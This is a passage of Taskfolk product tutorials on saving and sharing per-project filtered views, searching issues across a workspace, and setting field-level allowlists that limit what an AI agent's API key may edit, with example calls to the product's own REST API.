tickets and nothing else. That result is what you are about to name. 3. Open the Views menu and click "Save current filter". 4. Type a name into the "View name" field. Names go up to 80 characters, which is plenty. 5. Click "Save" and you get a `Saved "{name}"` toast confirming it landed. ![How to save and share views - views menu open](/images/blog/how-to-save-and-share-views-views-menu-open.webp) One guardrail to know about. "Save current filter" is disabled until at least one facet is actually active. Hover it with no filter set and the tooltip reads "Set a filter first" instead of the usual "Save the current filter". This is deliberate. There is no such thing as a saved view of nothing, so the button refuses to save an empty filter. If it looks greyed out, that is why. Go set a filter and come back. Spend three seconds on the name. "View 1" tells nobody anything, including future you. A good name says what the slice is: "My bugs In Review", "Unassigned high-priority", "This week's Done". When a teammate opens the Views menu on a shared project, the name is the only thing they have to go on, so make it carry its weight. Specific beats clever here. ## Shared vs personal: who else sees your view When you save a view, the form has a checkbox: "Shared with the project (uncheck for personal)". It is checked by default. That default is a decision, not an accident. Taskfolk assumes most views are worth sharing, so shared is the path of least resistance and personal is the opt-in. | | Shared view | Personal view | |---|---|---| | Who sees it | Everyone on the project | Only you | | Badge in the menu | None (it is the default) | "Personal" badge | | Checkbox state | Checked (the default) | Unchecked | Leave it checked and the view is shared. Everyone on the project sees it in their own Views menu. Uncheck it and the view becomes personal, visible to nobody but you. Personal views get a small "Personal" badge in the menu with the tooltip "Personal view, only you can see it", so you can always tell your private scratch filters apart from the team ones. Shared views carry no badge. The server backs this up cleanly. You see every shared view on the project, plus your own personal ones. Other people's personal views are filtered out before they ever reach you. So a personal view really is private. Nobody is quietly browsing your working filters. When should you pick which? Shared for team rituals, personal for your own scratch work. The filters your standup depends on, the triage slice your whole project references, the "shippable this sprint" cut everyone checks: those should be shared, so there is one canonical version and not five slightly different copies floating around. The filter you built to answer a question just for yourself this afternoon, or your idiosyncratic "stuff I keep forgetting about" cut, keep that personal. It keeps the shared list clean and focused on the views the team actually agreed matter. ## Applying and switching between saved views Applying a view is a single click. Open the Views menu, click a row, done. Taskfolk loads that view's stored filter into whatever surface you are on and drops the facets into the URL query params. The result on screen updates immediately. The active view is easy to spot. The row you applied shows a gold checkmark, and the trigger button up in the toolbar swaps its label to the view's name and goes gold. Both signals point at the same fact: this is the saved view you are currently looking at. Here is the behavior worth internalizing, because it trips people up the first time. The active-view highlight is exact-match only. The view lights up as active only while your current filter equals its stored facets, exactly. ```mermaid stateDiagram-v2 AdHoc: Plain Views button Active: View name in gold AdHoc --> Active: filter exactly matches a saved view Active --> AdHoc: any facet changes ``` Apply "My bugs In Review", then add a Label to the filter, and the match breaks. The checkmark disappears, the trigger reverts to plain "Views", and you are back in ad-hoc territory. Nothing is broken. You have just filtered past the saved view. If you want to keep the tweaked version, save it as a new view. If you want the original back, click its row again. ![The board filtered down to a subset of cards, the same filter system saved views capture](/images/blog/how-to-use-a-kanban-board-filters.webp) And remember the cross-surface thing from earlier. Because a view is stored per project, not per surface, a view you saved on the List applies just as well on the Board. Save "Unassigned high-priority" while looking at the List, flip to the Board, open Views, click that row, and the columns filter down to the same set. One view, every surface. You are not maintaining separate board-views and list-views. You maintain one set of project filters that show up wherever you happen to be working. If you want to go deeper on building the filters themselves before you save them, the companion piece on [how to filter and sort issues](/docs/how-to-filter-and-sort-issues) covers every facet in the toolbar. ## Sharing a filtered view by URL Applying a view writes its facets into the URL. That has a useful side effect: the filtered result is now bookmarkable and shareable as a plain link. Whatever you are looking at, the address in your bar reproduces it. The "my high-priority bugs in review" filter from earlier looks like this: ```http https://taskfolk.ai/w/taskfolk/p/web/list?types=bug&priority=high&status=in_review&assignee=me ``` So there are two ways to hand a filtered slice to a teammate, and they are not the same thing. The first is the URL. Copy the address, paste it into chat or a ticket comment, and whoever clicks it lands on that exact filtered result. This is good for one-off moments: "here are the three bugs blocking the Timeline + Summary tab work, take a look." No setup, no naming, just a link. The second is making a view shared. That does something different. It adds the view permanently to everyone's Views menu on the project. The URL shares this filtered result, right now. A shared view adds a reusable, named entry that lives in the menu going forward. ```mermaid flowchart TD A[Need to hand someone a filtered slice] --> B{One off or recurring} B -->|One off| C[Copy the URL] B -->|Recurring, whole team| D[Save a shared view] B -->|Recurring, just you| E[Save a personal view] ``` Pick the URL when the slice is a passing thing you want someone to see once. Pick a shared view when the slice is a recurring reference the team will want again and again. One caveat on the URL route: a teammate clicking your link still lands subject to their own access and view visibility. The link carries the filter. It does not grant them anything they could not already see in the project. ## Renaming, re-scoping, and deleting views Views are not carved in stone. On rows you own, two small buttons appear: a pencil to edit, and an X to delete. The pencil opens the same little form you used to create the view. From there you can rename it, and you can flip it between personal and shared with the same "Shared with the project" checkbox. So if you saved something personal and later decide the team should have it, edit it, tick the box, and click "Save". You get a "View updated." toast. Renaming works the same way: change the text in the name field, save, done. This is also how you fix a lazy name after the fact. "View 3" becomes "QA sign-off queue" in about five seconds. The X deletes. Click it and a confirmation dialog appears titled `Delete the saved view "{name}"?` with the body copy: "This removes the view for everyone it is shared with. It does not change any tasks." The confirm button reads "Delete view", and once you click it you get a "View deleted." toast. Read that body copy carefully, because it is telling you two true things. Deleting a shared view removes it for everyone, not just you. And deleting a view touches zero tickets. It only removes the saved filter, never the work it was filtering. There is no undo here, so delete shared views with a little care. Now the permission rule, which keeps shared views from turning into a mess: - The edit and delete buttons only appear if you are the view's creator, or a project owner or admin. - A regular member cannot rename or delete a shared view someone else created. They will not even see the buttons. - This is checked in the UI and re-checked on the server when the rename or delete actually runs, so it is a real permission, not a cosmetic hide. The upshot: your project's shared views stay stable. The person who made a view, or a project lead, controls it, and nobody can quietly delete the standup filter the whole team relies on. ## What a saved view does and does not store This is the honest-limits section, and it is the one that saves you from a nasty surprise later. Be clear on exactly what a view captures, because it is less than the toolbar might lead you to expect. A saved view stores exactly five facets: - Type (epic, story, task, bug, subtask) - Priority - Status - Labels - Assignee (stored as any, me, unassigned, or a specific user) That is the complete list. Five facets. Nothing else. The stored filter for "my high-priority bugs in review" is literally this: ```json { "types": ["bug"], "priorities": ["high"], "statuses": ["in_review"], "labels": [], "assigneeId": "me" } ``` Now the part that surprises people. The filter toolbar supports more than those five. It also lets you filter by Milestone, Sprint, Release, Due date, and custom-field predicates. None of those get saved into a view. If you build a filter that says "Sprint 12, due this week, custom field Team = Platform" and then save it, the sprint, the due date, and the custom field are silently dropped. The saved view keeps only the Type, Priority, Status, Label, and Assignee parts. | Saved into a view | Supported in the toolbar but not saved | |---|---| | Type | Milestone | | Priority | Sprint | | Status | Release | | Labels | Due date | | Assignee | Custom-field predicates | So do not build a sprint-scoped or milestone-scoped filter and expect a saved view to remember it. It will not. This is a real boundary in how the feature stores its data, not something you can work around by clicking harder. A view also does not store your surface, your sorting, your grouping, or your visible columns. It is filter facets and nothing more. Apply the same view on the List and on the Board and you get the same filter set, but the List will still show whatever columns and sort you had configured there, and the Board will still group by whatever it groups by. The view does not carry that presentation. It carries the "what issues" part, not the "how they are laid out" part. Two more limits, so your expectations are honest. There is no default view, no pinning, no manual reordering. The Views menu lists your views ordered by most recently updated, and that ordering is not something you control. You cannot mark one as the default that loads automatically. And, once more because it matters: deleting a shared view removes it for everyone it was shared with. No per-person copies, no undo. None of this makes saved views less useful. It just means you should reach for them for what they are good at, filter-by-those-five-facets slices you use repeatedly, and not expect them to be a full snapshot of your entire working setup. ## Per-project views vs workspace-wide views Here is the separate feature I promised to explain. Alongside the per-project saved views this whole article has described, Taskfolk has a workspace-level feature, also called Views, that lives at a different place: /w/[workspace]/views. These are cross-project views. They filter issues across several projects at once, with their own scope (private or shared) and their own sort options. Keep the two firmly apart, because the naming overlap is genuinely confusing: | | Per-project saved views | Workspace views | |---|---|---| | Scope | One project's board and lists | Issues across several projects | | Where | The Views menu in the filter toolbar | /w/[workspace]/views | | Good for | One team's rituals on one board | The zoomed-out portfolio picture | The saved views described above are per project. They filter one project's board and lists. They cannot span projects. If you go into a single project's Views menu looking for cross-project behavior, you will not find it, and you will think something is broken when nothing is. So when do you reach for each? Use a per-project saved view for one project's rituals: the standup filter on WEB, the triage slice on WEB, "my bugs In Review" on WEB. Use a workspace view when you want a portfolio-wide slice: everything assigned to you across every project, or all the high-priority bugs in the whole workspace regardless of which project they belong to. Same word, two tools, two jobs. One more thing worth knowing if you automate. Saved views are exposed over Taskfolk's public v1 API, both the per-project saved-views routes and the workspace views routes. Creating the same shared view from a script takes one request (the key needs the `saved_views:write` scope; the path uses the project key, so WEB, not the slug): ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/saved-views" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "name": "My bugs In Review", "filter": { "types": ["bug"], "priorities": ["high"], "statuses": ["in_review"], "labels": [], "assigneeId": "me" }, "is_shared": true }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/saved-views", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ name: "My bugs In Review", filter: { types: ["bug"], priorities: ["high"], statuses: ["in_review"], labels: [], assigneeId: "me", }, is_shared: true, }), }, ); const { data: view } = await res.json(); ``` ```python import os import requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/saved-views", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={ "name": "My bugs In Review", "filter": { "types": ["bug"], "priorities": ["high"], "statuses": ["in_review"], "labels": [], "assigneeId": "me", }, "is_shared": True, }, ) view = res.json()["data"] ``` All three return a 201 with the created view: ```json { "data": { "id": "0197a2b4-6c1e-7f30-9d42-8e5b1c7a9f10", "name": "My bugs In Review", "filter": { "types": ["bug"], "priorities": ["high"], "statuses": ["in_review"], "labels": [], "assigneeId": "me" }, "is_shared": true, "created_by": "0195f0aa-1234-7abc-8def-0123456789ab", "created_at": "2026-07-15T09:12:00.000Z", "updated_at": "2026-07-15T09:12:00.000Z" } } ``` Listing goes through `GET` on the same path with the `saved_views:read` scope, and a single view can be renamed or deleted with `PATCH` and `DELETE` on `/saved-views/{id}`. The list endpoint applies the same visibility rule as the UI: shared views plus your own personal ones, never someone else's private filters. API keys are minted on the workspace's Developer page. ![The Developer page's API keys tab, where you mint the key a saved-views integration authenticates with](/images/blog/how-to-use-the-rest-api-keys-tab.webp) That covers saving, sharing, switching, editing, deleting, and the real limits. If you want to build sharper filters before you save them, or organize the work those filters run against, the pieces on [labels](/docs/how-to-use-labels), [running a kanban board](/docs/how-to-use-a-kanban-board), and [prioritizing your backlog](/docs/how-to-prioritize-your-backlog) pair naturally with this one. Open the Views menu on your busiest project and save the one filter you rebuild the most. You will feel the difference by tomorrow's standup. --- # How to search your workspace URL: https://taskfolk.ai/docs/how-to-search-your-workspace Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: views, Taskfolk, how-to Search issues across projects from one top-bar field: the / shortcut, live typeahead, WEB-12 key-jump, the full results page with filters, and the real limits. You have the same ticket open in three tabs, one per project, and no idea which board your teammate actually meant. That is the problem this tutorial fixes. In Taskfolk you **search issues across projects** from a single field in the top bar, in about two keystrokes, and land on the exact ticket without guessing which board it lives on. This walks every path into that search: the `/` shortcut, the live typeahead, the key-jump, the full results page with its filters, and the honest limits you should know before you lean on it. The demo project throughout is **WEB**, columns Backlog / To Do / In Progress / In Review / Done, with tickets like "Timeline + Summary tab". Everything below is what actually happens in the product. Where something does not work the way you might hope, I say so. ## Why one search box beats hopping between boards Here is the real situation. An issue can live in any project you can reach. Maybe it is in WEB. Maybe it is in a project called PLATFORM that a teammate spun up last week. Maybe it is in a scoped project you were added to and half forgot about. Per-project search means you already have to know which board to open, and if you knew that, you would not be searching. The top-bar field, labelled "Search everything," queries every project you have access to at once. That is the whole point, and it is what "search issues across projects" means in practice: one query, all your boards, ranked together. You do not pick a project first. You type, and Taskfolk looks everywhere you are allowed to look. That access boundary is enforced, not cosmetic. Results are tenant-isolated by role: - **Owners and admins** see every non-archived project in the workspace. - **Members and viewers** see the non-scoped projects plus any scoped ones they belong to. - **Guests** see only the specific projects they were explicitly added to. You never see a ticket from a project you cannot open, and a teammate searching the same term may get a different set of rows because their access differs from yours. This is not a toggle. It is the shape of the search. Contrast that with the per-project views (board, backlog, list). Those are scoped to one project on purpose, and they are where you go when you already know the project and want to filter within it. Search is the opposite tool. It is workspace-wide, for when the project itself is the thing you are trying to find. ## Press / and start typing: the fastest way in The fastest way in is the forward-slash key. Press `/` anywhere in the workspace and the top-bar field takes focus, ready to type. No mouse, no hunting for the box. When the field is empty it shows a small `/` hint on the right, and the placeholder reads "Search everything," so you know both what it does and how to reach it. ![The keyboard shortcuts overlay in Taskfolk, which lists the / shortcut for focusing workspace search alongside the other bindings.](/images/blog/keyboard-shortcuts-in-taskfolk-shortcuts-overlay.webp) One sane guard: `/` only grabs focus when you are not already typing into something. If your cursor sits in an input, a textarea, or a contenteditable area (a comment box, the markdown editor, an issue title you are renaming), the slash types a slash like any normal character. That is deliberate. You would be furious if `/` stole focus mid-sentence while you were writing a comment. So it does not. Once the field has focus, typing fires a live typeahead. It is debounced by roughly 150 milliseconds, so it waits for a tiny pause in your typing before it queries instead of firing on every keystroke. Under the hood each pause sends the same request your browser would show in its network tab: ```http GET /api/search?workspace=taskfolk&q=timeline ``` The response comes back as three groups, already scoped to the projects you can reach. Trimmed to the fields that matter: ```json { "ok": true, "hits": [ { "issueKey": "WEB-12", "title": "Timeline + Summary tab", "type": "task", "status": "in_progress", "priority": "high", "projectName": "Web", "href": "/w/taskfolk/p/web/WEB-12" } ], "docs": [ { "title": "Onboarding flow", "projectSlug": null, "href": "/w/taskfolk/knowledge?doc=..." } ], "feedback": [] } ``` The whole round trip looks like this: ```mermaid sequenceDiagram participant Y as You participant B as Browser participant S as Taskfolk server participant T as Typesense Y->>B: press / and type B->>B: debounce about 150 ms B->>S: GET /api/search S->>S: resolve projects you can reach S->>T: query with project filter T-->>S: ranked hits S-->>B: issues, pages, feedback ``` Concrete example. You are staring at the WEB board. Press `/`, type `timeline`. Within a beat the dropdown fills, and the "Timeline + Summary tab" ticket is right there, even though you never opened its project. One caveat worth internalizing: the full live typeahead only renders at desktop width (the `lg` breakpoint and up). On a phone or a narrow tablet the top bar collapses to a compact search icon, and tapping it routes you straight to the full results page instead of showing an inline dropdown. So on mobile there is no live typeahead. You go to the page and type there. Not a bug, just a space constraint. ## Reading the typeahead: issues, Pages, and Feedback The dropdown is grouped, and the grouping means something. Read it top to bottom. ![How to search your workspace - typeahead](/images/blog/how-to-search-your-workspace-typeahead.webp) Issue hits come first, because that is what you are almost always after. Each issue row shows the issue key in a monospace font (so `WEB-12` lines up cleanly and reads as an identifier, not prose), a small type badge (epic, story, task, bug, subtask), the issue title, and a status badge. That is enough to tell two similarly-titled tickets apart at a glance without opening either. Below the issues you get a **Pages** group. Those are hits from your knowledge base and docs. Each Pages row carries a doc icon and a tag showing either its project or "Knowledge" if it lives at the workspace level. This is how a search for "onboarding" surfaces both the onboarding epic and the internal doc that explains the onboarding flow, in one dropdown, clearly separated so you know which is which. ![The workspace Knowledge base in Taskfolk, the workspace-level doc surface that feeds the Pages group in search results.](/images/blog/how-to-write-project-docs-workspace-knowledge.webp) Last comes a **Feedback** group, and here is a thing to be honest about. Feedback surfaces the global community feedback board, not your workspace issues. It is a different corpus. It shows up in the typeahead as a convenience, each result carrying its status, but it is not part of your project data and it does not appear as a facet on the full results page. If you are hunting for one of your team's tickets, the Feedback group is not it. Skim past it. You can drive the whole dropdown from the keyboard, which is the point of a `/`-first design: - `ArrowDown` and `ArrowUp` move the highlight through the rows, and they wrap: arrow up from the top row and you land on the last one. - `Enter` opens whatever row is highlighted. - `Escape` closes the dropdown and leaves your text in the field. - Hovering a row with the mouse also highlights it, so keyboard and mouse stay in sync and you never see two things looking selected at once. At the very bottom sits a footer: See all results for "" with an arrow. That is your escape hatch to the full page when the dropdown's top slice is not enough. More on that page shortly. ## Jump straight to an issue by typing its key (WEB-12) This is the trick that pays for itself daily. Type a bare issue key, like `WEB-12`, and hit Enter to go straight to that ticket. The key format is a letter followed by one to five alphanumerics, then a dash, then a number: `WEB-12`, `PLATFORM-7`, `API2-341`. It is case-insensitive, so `web-12` works exactly the same as `WEB-12`. On Enter the routing is simple: ```mermaid flowchart LR A[Type the key, press Enter] --> B{Exact match already loaded in the typeahead?} B -->|Yes| C[Straight to the issue] B -->|No| D[Results page resolves the key] D --> C ``` Either way you end up on the ticket. Now the correction, because this trips people up. It is `WEB-12`, not `#WEB-12`. Do not type the hash. The `#KEY-NUM` form (with the leading `#`) is a different feature entirely: it is the reference-chip syntax you use inside comments and markdown descriptions to link one issue to another. In a comment, `#WEB-12` becomes a clickable chip. In the search box, `#WEB-12` is just noise. Type the plain key. Where this shines: a teammate drops "can you look at WEB-12?" in a Slack message. Copy the key, press `/`, paste, Enter. You are on the ticket before you have finished reading the rest of their message. No opening the project, no scrolling the board, no wondering which of your projects has a ticket 12. ## The full results page: search across every project at once When the dropdown's slice is not enough, you want the full page. Three ways there: click the "See all results for" footer, press Enter with no row highlighted, or navigate directly to `/w//search`. The page has its own large search box (autofocused, so you can type the moment it loads) and a "Search" submit button; submitting reloads the same page with your query as `?q=`. One path correction, so you do not go looking for something that does not exist: search is a workspace-level page. It lives at `/w//search`, for example `/w/taskfolk/search?q=timeline`. There is no project-scoped search page. A URL like `/w/taskfolk/p/web/search` is not a thing. Search is always across the whole workspace by design, which is the entire reason it can pull tickets from every board in one shot. ![The full workspace search results page for the query timeline, showing the result count header, the Type/Status/Priority facet sidebar with live counts, the Relevance/Updated/Priority sort toggle, and issue rows tagged with project name chips and highlighted matched terms.](/images/blog/how-to-search-your-workspace-results.webp) What you get on the page is the good stuff: typo-tolerant results powered by Typesense, ranked by field weight. | Field | Weight | |---|---| | Title | 4 | | Issue key | 4 | | Labels | 3 | | Description | 2 | So a word in a ticket's title outranks the same word buried in its description, which is usually what you want. Each result row shows a type badge, the issue key, a project name chip (this is the cross-project payoff: you see at a glance that one match is in WEB and the next is in PLATFORM), the matched terms highlighted in yellow so you can tell why the row came back, status and priority badges, and a relative timestamp like "3 days ago." Run `q=timeline` and you will see rows from multiple projects sitting together, each with its own project chip, the word "timeline" lit up in yellow wherever it matched. That mixed list, one query pulling tickets from every board you can reach, is the thing per-project search can never give you. ## Narrow it down with Type, Status, and Priority filters A broad query returns a lot. The full page gives you a left facet sidebar to cut it down, and it works entirely through the URL, so any filtered view is a shareable link. There are three facet groups, each mapped to a URL param: | Facet group | Values | URL param | |---|---|---| | Type | Epic, Story, Task, Bug, Subtask | `type` | | Status | Backlog, To do, In progress, In review, Done, Failed, Cancelled | `status` | | Priority | Critical, Highest, High, Medium, Low, Lowest | `priority` | Every row shows a live count of how many results match it, so before you even click you can read "14 tasks, 3 bugs" and decide where to aim. Ticking a row toggles its URL param and re-runs the view; multiple values in one group join with commas. Each group has its own "Clear," and there is a "Clear all filters" to reset everything. The URLs read exactly the way you would guess: ```http GET /w/taskfolk/search?q=board GET /w/taskfolk/search?q=board&type=bug GET /w/taskfolk/search?q=board&type=bug&status=in_progress&sort=updated ``` Above the results is a three-way sort: **Relevance** (the default), **Updated**, and **Priority**. Relevance leans on Typesense's ranking, Updated surfaces what changed most recently, and Priority floats the critical stuff up. Flip between them depending on whether you are asking "what best matches my words" or "what is on fire." Worked example. Search `q=board`, which returns many issues across several projects. The summary line reads something like "18 of 42 results" once you start filtering, and it updates as you go. Tick Type = Bug and the list contracts to just the bugs, the counts on the other facets adjust, and the summary recalculates. Add Status = In progress and you are now looking at exactly the in-flight board bugs across every project, in one view, as a URL you can paste to a teammate. For going deeper on filtering and ordering, and for saving a filtered view so you do not rebuild it every time, these two are the right next reads: [how to filter and sort issues](/docs/how-to-filter-and-sort-issues) and [how to save and share views](/docs/how-to-save-and-share-views). ## Typo tolerance and partial matching that actually helps Typesense is doing real work here, and it changes how you search. You do not have to remember the exact wording of a ticket. - Type `wizrd` and it finds `wizard`. Typo tolerance allows up to two character errors, so genuine fumbles resolve to the right word instead of returning nothing. - Type `auth` and it matches `authentication`, because prefix matching means the start of a word is enough. - Type `agic` and it finds `magic`, because there is also infix matching on titles, so a fragment buried in the middle of a word still hits. Day to day this is the difference between finding "Timeline + Summary tab" by typing "summ" and giving up because you misremembered it as "overview." Be precise about what gets searched, though, because this is where expectations go wrong. | Indexed | Not indexed | |---|---| | Issue title | Comments | | Issue key | Attachment contents | | Labels | | | Description (markdown stripped, roughly the first 4000 characters) | | That covers the substance of nearly every ticket. But if the only place a word appears is halfway down a comment thread, or inside an uploaded PDF, search will not find the ticket by that word. Do not expect it to. If you need to find a ticket by something a teammate said in a comment, search will not get you there. ## Recent searches and the jump-to shortcuts Open the full search page with no query and you land on a helpful empty state rather than a blank void. The header reads "Find anything," with a "Search this workspace" prompt beneath it. If you have searched before, your recent terms appear as chips. Click one to re-run it instantly. Each chip has a small X to remove just that term, and the empty state offers a "Clear" to wipe the whole list. Recent searches are shared between the top-bar dropdown and the full page: they draw from one per-workspace list, kept most-recent-first, de-duplicated, capped at 8. So the search you ran from the top bar this morning is right there as a chip when you open the full page this afternoon. There is also a "Jump to" quick list for the things you reach for constantly without needing to search at all: Your tasks (everything assigned to you), Mentions (where teammates tagged you), Inbox (all your notifications), and Projects (browse every project). These are one-click navigations, not searches, and they are handy landing spots when you opened search out of habit but actually wanted your own work. ![The notifications Inbox in Taskfolk, one of the Jump to targets on the empty search page, listing assignment and mention notifications.](/images/blog/notifications-and-watching-issues-inbox.webp) Now the honest limits on recent searches, because they are real. The list is client-only: it lives in your browser's localStorage, with no backend behind it. That means no cross-device sync (your recents on your laptop are not your recents on your phone), and if you clear your browser storage they are gone. One more subtlety: the full page only records a term as recent when the query actually returned results. A search that came back empty does not get saved, which keeps your history free of dead-end terms but also means "I definitely searched that" is not always "it is in my recents." ## Limits worth knowing before you trust the results Trust the results more if you know where they stop. Here is the unvarnished list. Search is Typesense-only. There is no MariaDB fallback anymore; the old FULLTEXT/LIKE path was removed (in migration 0040) because it scanned for tens of seconds on large workspaces. The upside is speed. The tradeoff is that if the search index is unreachable or unconfigured, search returns empty rather than limping along on a slow fallback. So do not assume results always come back. When the index is down, every path is empty. There are two distinct notices for two distinct failure modes, and telling them apart helps when something looks off: ```mermaid flowchart TD A[Search runs] --> B{Typesense configured?} B -->|No| C[Search is being set up] B -->|Yes| D{Doc query fails at runtime?} D -->|Yes| E[Page results temporarily unavailable, issue results still accurate] D -->|No| F[Full results] ``` The first notice means the box is not wired yet. The second one is reassuring in a specific way: your issue results are fine, it is only the Pages section that hiccuped. Results are capped, not exhaustive: - The full page returns up to 50 issue hits and up to 25 doc hits. - The typeahead returns up to 50 issue hits, 25 docs, and up to 8 feedback items. - The facet counts in the sidebar come from a tenant-scoped pass capped at 50, so on very large result sets those counts are approximate rather than exact totals. If a count reads "50" it may well mean "at least 50." On a big workspace that means you are seeing the top matches, not every match. Narrow your query rather than trusting the tail. Archived and deleted things stay hidden. Issues and docs in archived projects, and anything soft-deleted, never appear in search, and that holds even for owners and admins. Search is a view of live work, not an archive browser. If you archived a project to get it out of the way, its tickets are out of search's way too. And do not conflate this with the [command palette](/docs/keyboard-shortcuts-in-taskfolk). `Cmd/Ctrl+K` opens a separate component for navigation and quick actions (jump to a page, run a command). It happens to reuse the same search API under the hood, but it is not the `/`-focused search bar this tutorial is about. Two different tools, two different keys. If you are documenting a project so search can find the right pages later, [how to write project docs](/docs/how-to-write-project-docs) is worth a look, and if you are still setting up the tickets themselves, start with [how to create an issue](/docs/how-to-create-an-issue). Open your workspace, press `/`, and search for a ticket you know lives somewhere you would otherwise have to go hunting for. --- # How to set agent field permissions URL: https://taskfolk.ai/docs/how-to-set-agent-field-permissions Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: security, AI agent management, AI agents, how-to Restrict what an AI agent can edit in Taskfolk with a per-agent field allowlist: set it, read the Restricted badge, and verify agent work. Full walkthrough. Your triage agent just moved a ticket to Done and closed it, when all you wanted was for it to sort the backlog. It had the keys to every field, so it used them. That is the gap this walks you through closing. If you want to restrict what an AI agent can edit in Taskfolk, the tool for the job is a field-level allowlist: a per-agent list of exactly which issue fields that agent's API key is allowed to write. Set it once, and any write to a field outside the list bounces with a clear error. The agent keeps doing its job. It just can't wander into fields you never meant it to touch. ## Why you'd want to restrict what an AI agent can edit Here is the default that surprises people. When you connect an agent to a workspace, its API key can write every issue field, the same as any human member. Status, Priority, Description, Assignees, the estimate, the due date, all of it. That is deliberate. An agent is a member with a key, and members can edit issues. But it means a bot you connected to do one narrow thing has the reach to do far more. Take a triage agent working the Backlog column in the WEB demo project. Its job is small: read new tickets, set a Priority, put the right Labels on, maybe route an Assignee. That is the whole assignment. Yet nothing stops it flipping the "Timeline + Summary tab" ticket straight to Done, or rewriting a description it misread, or reassigning work across the team. One confident wrong call and you are undoing changes across a board. The field policy fixes this by scoping the agent to its actual job. You decide the agent may write Status, Priority, Labels, and Assignees, and every other field becomes read-only for that key. The policy only ever applies to agent actors, never to humans or their keys, so turning it on for one bot changes nothing for your teammates. The default stays permissive on purpose: a fresh agent has no policy (the field policy is null, meaning every field is open), which matches how a human behaves. You opt into restriction. You don't have to. But for anything running unattended, you should. ## Where agent permissions live in the Bots page Everything for this lives in the Bots page, which sits at the workspace level, not inside a project. Open it and you get two things stacked together. Up top is the live sessions list: the agents doing work right now. Below that is the connected-agents directory, a table with columns for Agent, Owner, Status, Last active, and Key. ![The Taskfolk Bots page showing the live sessions list above and the connected-agents directory table below, with Agent, Owner, Status, Last active, and Key columns. This is where you find an agent's row and open the three-dots menu to reach its Permissions.](/images/blog/how-to-set-agent-field-permissions-hub-directory.webp) The Key column matters later, so keep an eye on it. Each agent row has a kebab menu, the three-dots button at the end of the row. Open it and you get Rename, Permissions, and Disconnect. Permissions is the one we want. One thing to know before you go looking for that menu: not everyone sees it. The kebab, and the ability to change a field policy, is limited to workspace owners and admins, plus the agent's own owner. That is the same gate as renaming or disconnecting an agent (internally, agent.manage_any). A regular member can see the agents and what they are doing, but cannot open the menu or touch the policy. So if you are testing this and the three dots are missing, check your role first. ## Open the permissions dialog and pick an allowlist From the agent's kebab menu, choose Permissions. That opens a dialog titled "What can this agent edit?" This is the whole control surface, and it is simpler than it looks. At the top is a single checkbox: "All fields (no restrictions)". When that is on, the agent has no policy and can write everything, the default state. Below it sits a two-column grid of 14 field checkboxes: - Title - Description - Status - Priority - Assignees - Labels - Milestone - Sprint - Release - Estimate - Time spent - Completion % - Start date - Due date The dialog spells out the intent with a helper line: "Choose which issue fields {name} may change through its API key. A write to any other field is rejected with a clear error, so a triage agent stays a triage agent." That last phrase is the mental model. You are drawing a box around the agent's job. ![The field policy editor for a triage agent, with a handful of fields ticked and every other issue field left off.](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) Let's do the triage agent for real. Uncheck "All fields (no restrictions)" first. The moment you do, the grid goes live with nothing ticked, which means, right now, the agent can write nothing. Then tick the four fields the triage agent actually needs: Status, Priority, Labels, Assignees. Leave the other ten empty. Click "Save permissions". A toast confirms it: "Agent permissions updated." That is it. From here, that agent can move a ticket between columns, set its priority, manage its labels, and route it to a person. Ask it to rewrite the description or push a due date, and the write is refused. Its job did not change. Its blast radius did. ## The three states: all fields, a subset, and no writes This is the part that trips people up, so slow down here. There are three states, not two, and the difference between two of them is easy to miss. | State | "All fields" checkbox | Grid | What the agent can write | |---|---|---|---| | All fields (null) | Checked | Ignored | Every one of the 14 fields. The default for a newly connected agent, and exactly how a human member behaves. | | A subset | Unchecked | Some boxes ticked | Only the ticked fields. Everything else is refused. The triage example: four on, ten off. | | Empty allowlist | Unchecked | Nothing ticked | No issue field at all. Every field write is rejected. | Here is the trap. Unchecking "All fields" is not the same as removing the policy. Removing the policy means re-checking "All fields" so the agent goes back to null. Unchecking "All fields" and leaving the grid empty gives you an empty allowlist, which is the most restrictive setting there is. Two very different outcomes from what feels like the same click. If you meant to loosen an agent and accidentally left the grid blank, you have locked it out of every field instead. When would you want the empty state on purpose? When you want an agent that observes and reports but never mutates issues. A bot that reads the board, posts a summary comment somewhere, or drives a dashboard, but is not trusted (or not meant) to change a single field. Comments and reads are governed by API-key scopes, not this policy, so a no-writes agent can still be a useful read-only participant. The empty allowlist is how you make "look but don't touch" explicit. ## How to tell which agents are restricted You do not want to open every agent's dialog to find out who is locked down. You don't have to. The directory table gives you the answer at a glance. Any agent that has a policy set (anything other than null, so a subset or an empty allowlist) shows a purple "Restricted" badge next to its key prefix in the Key column. No badge means no policy, which means the agent can write every field. This is your roster audit in one pass. Scan the Key column down the directory. Every purple Restricted badge is an agent you have scoped. Every agent without one is running with full field access, same as a person. If you see a bot that clearly should be narrow (a triage agent, an importer, a nightly cleanup job) sitting there with no badge, that is your cue to open its Permissions and draw the box. ## What a blocked write actually looks like The policy is not a UI suggestion. It is enforced on the server, at a single choke point every write funnels through, so there is no back door. Say an agent is restricted to Title and Description, and it tries to close a ticket anyway. The write is an ordinary issue PATCH against the public API: ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"status": "done"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12", { method: "PATCH", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ status: "done" }), }, ); ``` ```python import requests res = requests.patch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"status": "done"}, ) ``` Whichever way it arrives, 